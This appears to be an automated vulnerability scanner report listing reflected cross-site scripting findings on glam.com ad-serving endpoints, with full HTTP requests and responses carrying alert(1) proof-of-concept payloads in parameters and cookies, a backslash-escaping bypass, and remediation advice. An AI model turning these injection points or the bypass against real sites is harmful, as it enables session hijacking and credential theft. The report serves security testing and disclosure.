Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the adSize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d81e'%3balert(1)//28a70ff22e1 was submitted in the adSize parameter. This input was echoed as 2d81e';alert(1)//28a70ff22e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x142d81e'%3balert(1)//28a70ff22e1 HTTP/1.1 Host: www2.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Content-Type: application/x-javascript Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:05:58 GMT; path=/; domain=.glam.com; X-Powered-By: PHP/5.1.6 P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA" Vary: Accept-Encoding Cache-Control: max-age=450 Date: Wed, 16 Mar 2011 13:32:38 GMT Connection: close Content-Length: 58255
// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] --> // <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:38 PDT] -->
window.glam_session = new Object(); window.glam_session.country ...[SNIP]... kai.com/site/2312" height="0" width="0" border="0">');
The value of the affiliateId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83de6"%3balert(1)//00701388ff0 was submitted in the affiliateId parameter. This input was echoed as 83de6";alert(1)//00701388ff0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mobile/detect.act?affiliateId=3819852283de6"%3balert(1)//00701388ff0 HTTP/1.1 Host: www2a.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None
Response
HTTP/1.1 200 OK Server: Apache Content-Type: application/x-javascript ETag: "54d277bf03d9c981643beb6d966c7927:1299892064" X-Glam-Server: GlamAdapt Vary: Accept-Encoding Cache-Control: max-age=600 Date: Wed, 16 Mar 2011 13:32:27 GMT Connection: close Content-Length: 2338
The value of the ;flg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6954'%3balert(1)//42548598fc1 was submitted in the ;flg parameter. This input was echoed as a6954';alert(1)//42548598fc1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;a6954'%3balert(1)//42548598fc1 HTTP/1.1 Host: www35.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902
The value of the ga_adsrv request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96bee'%3balert(1)//35f323b5cfa was submitted in the ga_adsrv parameter. This input was echoed as 96bee';alert(1)//35f323b5cfa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;;pt=sk;;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=864317803177982696bee'%3balert(1)//35f323b5cfa HTTP/1.1 Host: www35.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1
The value of the ga_adsrv request parameter is copied into a JavaScript inline comment. The payload 8cf16*/alert(1)//e4a2c95d196 was submitted in the ga_adsrv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;;pt=sk;;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=86431780317798268cf16*/alert(1)//e4a2c95d196 HTTP/1.1 Host: www35.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1
1.6. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www35.glam.com
Path:
/gad/glamadapt_jsrv.act
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f16d2'%3balert(1)//e3f5e7968b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f16d2';alert(1)//e3f5e7968b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;&f16d2'%3balert(1)//e3f5e7968b7=1 HTTP/1.1 Host: www35.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902
The value of the ctags cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8d38\'%3balert(1)//d682fbb3814 was submitted in the ctags cookie. This input was echoed as d8d38\\';alert(1)//d682fbb3814 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x14 HTTP/1.1 Host: www2.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511; ctags=Noned8d38\'%3balert(1)//d682fbb3814; mobify=0
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Content-Type: application/x-javascript Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:06:01 GMT; path=/; domain=.glam.com; X-Powered-By: PHP/5.1.6 P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA" Vary: Accept-Encoding Cache-Control: max-age=450 Date: Wed, 16 Mar 2011 13:32:42 GMT Connection: close Content-Length: 58255
// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] --> // <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:32 PDT] -->
window.glam_session = new Object(); window.glam_session.country_code = null; /* */
The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5333\'%3balert(1)//4d876e1cc3d was submitted in the glam_sid cookie. This input was echoed as d5333\\';alert(1)//4d876e1cc3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x14 HTTP/1.1 Host: www2.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=1126612978600458511d5333\'%3balert(1)//4d876e1cc3d; ctags=None; mobify=0
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Content-Type: application/x-javascript Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:06:00 GMT; path=/; domain=.glam.com; X-Powered-By: PHP/5.1.6 P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA" Vary: Accept-Encoding Cache-Control: max-age=450 Date: Wed, 16 Mar 2011 13:32:40 GMT Connection: close Content-Length: 58258
// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] --> // <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:32 PDT] -->
window.glam_session = new Object(); window.glam_session.country_code = null; /* */
The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18fbd'-alert(1)-'c216e76a85c was submitted in the glam_sid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2; HTTP/1.1 Host: www35.glam.com Proxy-Connection: keep-alive Referer: http://gossipcenter.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: glam_sid=112661297860045851118fbd'-alert(1)-'c216e76a85c; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.